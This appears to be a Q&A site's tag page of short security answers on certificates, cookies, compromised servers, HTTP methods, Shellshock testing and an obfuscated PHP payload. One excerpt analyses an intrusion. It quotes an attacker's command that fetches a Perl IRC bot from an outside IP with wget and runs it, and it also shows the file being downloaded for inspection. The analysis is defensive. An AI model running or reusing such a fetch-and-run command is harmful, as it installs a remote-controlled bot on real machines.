Tag Info

Hot answers tagged

3

The disadvantage that makes big companies not consider Let's Encrypt is that visitors that connect to the site can't be sure that it is the actual company that hosts the site. This is because Let's Encrypt issues certificates for any webpage freely, without the need for identity validation (personal or corporate) (Let's Encrypt only offers domain ...


3

The reason to use Let's Encrypt can be the price. Those certificates will be for free. But I see one possible disadvantage for nonsmall web sites. Big CA offer wildcard certificates, Extended Validation certificates which have some advantages (from my point of view). Moreover this program is directed to web servers, but what if you have some application ...


2

Securely storing web application on untrusted server is not possible. Even if you would encrypt database on the server, you could not use server-side commands. Everything would have to be processed on the client (who has private key or password), including login, so this method is insecure as well.


2

The HttpOnly flag only serves to protect sensitive cookies from scripts. Assuming the load balancing cookie is only concerned with routing through to a specific server and cannot identify a client, there's no harm in this cookie being exposed. A XSS attack will only identify which server the browser is connecting to, and not anything specific to the client ...


2

The course of action is to wipe the machine and install everything from the stored image or from scratch. It's just too hard to be confident that you've cleaned them. Especially once the attacker has gotten root access.


2

How to reproduce the same? There are multiple answers on this site for exactly that question. Typing HTTP method into the Search box pulls up: How to exploit HTTP Methods How to identify the HTTP methods supported by a web server? Testing for HTTP TRACE method How can I test that I have correctly disabled unnecessary HTTP methods? How ...


1

I would guess this is a spider doing cache busting. The get parameter is ignored by the server and client, but since the get parameters are part of the url (as far as the caches are concerned) the url has never been seen before, so it forces a fresh load from the web server.


1

This is an old perl irc bot: ... ;cd /var/tmp; wget 85.214.60.234/den;perl den;rm -fr den;c... At time I write this, I already do the wget and some inspection: cd /tmp wget 85.214.60.234/den sed -e 's/^\(.\{78\}\).*/\1/;12q' den #!/usr/bin/perl ############################################################################## ...


1

There's no way to tell from the logfile alone. The "200 OK" response just means your webserver is running and has an index page at "/" -- something true of almost every webserver in the world. If x='() { :;}; echo VULNERABLE' bash -c : doesn't print the word VULNERABLE, you almost certainly aren't vulnerable.


1

The payload is encrypted using a simple autokey cipher, using md5($_f__f).substr(md5(strrev($_f__f)),0,strlen($_f__f)) as the password. You could try the usual techniques for attacking autokey ciphers, but the length of the password (at least 32 characters) and the fact that the plaintext is gzip-compressed make it impractical.



Only top voted, non community-wiki answers of a minimum length are eligible